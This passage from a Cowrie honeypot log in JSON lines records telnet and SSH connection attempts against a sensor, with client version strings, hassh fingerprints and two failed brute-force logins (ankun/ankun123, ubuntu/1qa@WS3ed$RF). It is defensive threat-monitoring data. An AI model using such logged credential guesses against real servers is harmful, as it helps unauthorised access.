{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9a4cddd32d0","protocol":"telnet","message":"New connection: 114.23.51.89:39702 (159.203.135.109:23) [session: c9a4cddd32d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:26.138355Z"}
{"eventid":"cowrie.session.closed","duration":34.42310166358948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:27.059181Z","src_ip":"23.254.167.244","session":"30597cc28b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133286714553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:27.299346Z","src_ip":"114.23.51.89","session":"e50838846104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39682,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30ec236dfa1","protocol":"telnet","message":"New connection: 114.23.51.89:39682 (159.203.135.109:23) [session: e30ec236dfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:27.714298Z"}
{"eventid":"cowrie.session.closed","duration":33.15611243247986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:28.637582Z","src_ip":"23.254.167.244","session":"9c664644fc67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.543768644332886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:29.310275Z","src_ip":"23.254.167.244","session":"a81d4b4f59c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49148,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8d7c73f4444","protocol":"telnet","message":"New connection: 23.254.167.244:49148 (159.203.135.109:23) [session: d8d7c73f4444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:29.417110Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40494,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a2da5a3200","protocol":"ssh","message":"New connection: 159.203.92.129:40494 (159.203.135.109:22) [session: f4a2da5a3200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:30.654249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:30.659103Z","src_ip":"159.203.92.129","session":"f4a2da5a3200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:30.663812Z","src_ip":"159.203.92.129","session":"f4a2da5a3200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankun","password":"ankun123","message":"login attempt [ankun/ankun123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:30.680372Z","src_ip":"159.203.92.129","session":"f4a2da5a3200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:31.688896Z","src_ip":"159.203.92.129","session":"f4a2da5a3200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52976,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a5a055c0a3","protocol":"telnet","message":"New connection: 23.254.167.244:52976 (159.203.135.109:23) [session: 25a5a055c0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:32.513320Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39414,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc3fed04cd3","protocol":"telnet","message":"New connection: 114.23.51.89:39414 (159.203.135.109:23) [session: 8dc3fed04cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:33.641485Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8cd7ab1d5fb","protocol":"telnet","message":"New connection: 114.23.51.89:39418 (159.203.135.109:23) [session: e8cd7ab1d5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:34.158706Z"}
{"eventid":"cowrie.session.closed","duration":30.53629732131958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:36.471912Z","src_ip":"114.23.51.89","session":"e21311c65e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39430,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d316e33207","protocol":"telnet","message":"New connection: 114.23.51.89:39430 (159.203.135.109:23) [session: 62d316e33207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:36.645655Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"08670bce9b61","protocol":"telnet","message":"New connection: 23.254.167.244:57580 (159.203.135.109:23) [session: 08670bce9b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:37.311132Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57598,"dst_ip":"159.203.135.109","dst_port":23,"session":"1183d296a7fa","protocol":"telnet","message":"New connection: 23.254.167.244:57598 (159.203.135.109:23) [session: 1183d296a7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:37.342276Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45770,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda5b02d466d","protocol":"telnet","message":"New connection: 209.159.146.115:45770 (159.203.135.109:23) [session: dda5b02d466d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:38.363041Z"}
{"eventid":"cowrie.session.closed","duration":31.496827602386475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:38.704192Z","src_ip":"114.23.51.89","session":"22d1f3576170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48416,"dst_ip":"159.203.135.109","dst_port":23,"session":"39327acffd45","protocol":"telnet","message":"New connection: 114.23.51.89:48416 (159.203.135.109:23) [session: 39327acffd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:39.406838Z"}
{"eventid":"cowrie.session.closed","duration":30.318631410598755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:40.214663Z","src_ip":"114.23.51.89","session":"5e3cd4a8e7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931641578674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:40.681965Z","src_ip":"114.23.51.89","session":"d48ba3219d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37284,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a531e1c266","protocol":"telnet","message":"New connection: 23.254.167.244:37284 (159.203.135.109:23) [session: 72a531e1c266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:41.186018Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b28044126e87","protocol":"telnet","message":"New connection: 114.23.51.89:48426 (159.203.135.109:23) [session: b28044126e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:42.754280Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39006,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5e9ade9a06","protocol":"telnet","message":"New connection: 23.254.167.244:39006 (159.203.135.109:23) [session: 2d5e9ade9a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:43.997539Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38864,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc05a81381a","protocol":"telnet","message":"New connection: 23.254.167.244:38864 (159.203.135.109:23) [session: 1fc05a81381a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:44.909870Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41174,"dst_ip":"159.203.135.109","dst_port":23,"session":"17dad0f892c1","protocol":"telnet","message":"New connection: 185.26.126.47:41174 (159.203.135.109:23) [session: 17dad0f892c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:46.327649Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47074,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d61aa12bb3","protocol":"telnet","message":"New connection: 209.159.146.115:47074 (159.203.135.109:23) [session: 52d61aa12bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:46.502517Z"}
{"eventid":"cowrie.session.closed","duration":31.201462268829346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:47.692513Z","src_ip":"114.23.51.89","session":"c45444476032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48622131347656,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:48.425812Z","src_ip":"114.23.51.89","session":"091b2e4a42fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.232911109924316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:49.072966Z","src_ip":"114.23.51.89","session":"2cf6222071ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a52c6c72784","protocol":"telnet","message":"New connection: 209.159.146.115:34908 (159.203.135.109:23) [session: 8a52c6c72784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:49.520249Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45820,"dst_ip":"159.203.135.109","dst_port":23,"session":"19deaec41007","protocol":"telnet","message":"New connection: 23.254.167.244:45820 (159.203.135.109:23) [session: 19deaec41007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:51.505993Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47480,"dst_ip":"159.203.135.109","dst_port":23,"session":"e81cada317df","protocol":"telnet","message":"New connection: 209.159.146.115:47480 (159.203.135.109:23) [session: e81cada317df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:53.568356Z"}
{"eventid":"cowrie.session.closed","duration":31.028519868850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:53.811969Z","src_ip":"23.254.167.244","session":"86edd8a84896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50826,"dst_ip":"159.203.135.109","dst_port":23,"session":"605395a83b7f","protocol":"telnet","message":"New connection: 23.254.167.244:50826 (159.203.135.109:23) [session: 605395a83b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:56.187970Z"}
{"eventid":"cowrie.session.closed","duration":31.56947112083435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:56.535711Z","src_ip":"114.23.51.89","session":"9b34567a7971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":49374,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9cb628ae168","protocol":"ssh","message":"New connection: 20.244.18.126:49374 (10.17.0.5:22) [session: f9cb628ae168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:56.921188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:56.925882Z","src_ip":"20.244.18.126","session":"f9cb628ae168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:57.108815Z","src_ip":"20.244.18.126","session":"f9cb628ae168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18033528327942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:57.318582Z","src_ip":"114.23.51.89","session":"c9a4cddd32d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.725600719451904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:57.347467Z","src_ip":"23.254.167.244","session":"31b0393015a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.139076232910156,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:57.676118Z","src_ip":"23.254.167.244","session":"2f55404d9eb5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa@WS3ed$RF","message":"login attempt [ubuntu/1qa@WS3ed$RF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:57.873251Z","src_ip":"20.244.18.126","session":"f9cb628ae168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:59.057256Z","src_ip":"20.244.18.126","session":"f9cb628ae168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55022,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d8a0582939","protocol":"telnet","message":"New connection: 23.254.167.244:55022 (159.203.135.109:23) [session: 79d8a0582939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:59.138269Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55406,"dst_ip":"159.203.135.109","dst_port":23,"session":"714c2c051f23","protocol":"telnet","message":"New connection: 23.254.167.244:55406 (159.203.135.109:23) [session: 714c2c051f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:59.440476Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e567bffe288","protocol":"telnet","message":"New connection: 23.254.167.244:59822 (159.203.135.109:23) [session: 4e567bffe288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:01.751872Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60964,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff9341ddb5c","protocol":"telnet","message":"New connection: 114.23.51.89:60964 (159.203.135.109:23) [session: aff9341ddb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:01.933036Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c736a1994a48","protocol":"telnet","message":"New connection: 23.254.167.244:60778 (159.203.135.109:23) [session: c736a1994a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:03.698351Z"}
{"eventid":"cowrie.session.closed","duration":30.938690423965454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:04.580075Z","src_ip":"114.23.51.89","session":"8dc3fed04cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89352369308472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:05.310456Z","src_ip":"23.254.167.244","session":"d8d7c73f4444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.879831075668335,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:05.393031Z","src_ip":"23.254.167.244","session":"25a5a055c0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.830777406692505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:05.544921Z","src_ip":"114.23.51.89","session":"e30ec236dfa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.483559131622314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:05.642193Z","src_ip":"114.23.51.89","session":"e8cd7ab1d5fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4d6be9f74f","protocol":"telnet","message":"New connection: 114.23.51.89:60966 (159.203.135.109:23) [session: ab4d6be9f74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:05.714635Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":60968,"dst_ip":"159.203.135.109","dst_port":23,"session":"db8360305a80","protocol":"telnet","message":"New connection: 114.23.51.89:60968 (159.203.135.109:23) [session: db8360305a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:07.437550Z"}
{"eventid":"cowrie.session.closed","duration":30.812069416046143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:07.457623Z","src_ip":"114.23.51.89","session":"62d316e33207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207484245300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:10.614221Z","src_ip":"114.23.51.89","session":"39327acffd45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35876,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0b5df5f355","protocol":"telnet","message":"New connection: 209.159.146.115:35876 (159.203.135.109:23) [session: 4a0b5df5f355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:11.052661Z"}
{"eventid":"cowrie.session.closed","duration":34.62598156929016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:11.937002Z","src_ip":"23.254.167.244","session":"08670bce9b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84742212295532,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:12.189593Z","src_ip":"23.254.167.244","session":"1183d296a7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76701831817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:13.521176Z","src_ip":"114.23.51.89","session":"b28044126e87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.693474531173706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.056434Z","src_ip":"209.159.146.115","session":"dda5b02d466d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":41887,"dst_ip":"10.17.0.5","dst_port":22,"session":"05941077fbda","protocol":"ssh","message":"New connection: 74.87.117.149:41887 (10.17.0.5:22) [session: 05941077fbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.250009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.254457Z","src_ip":"74.87.117.149","session":"05941077fbda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256"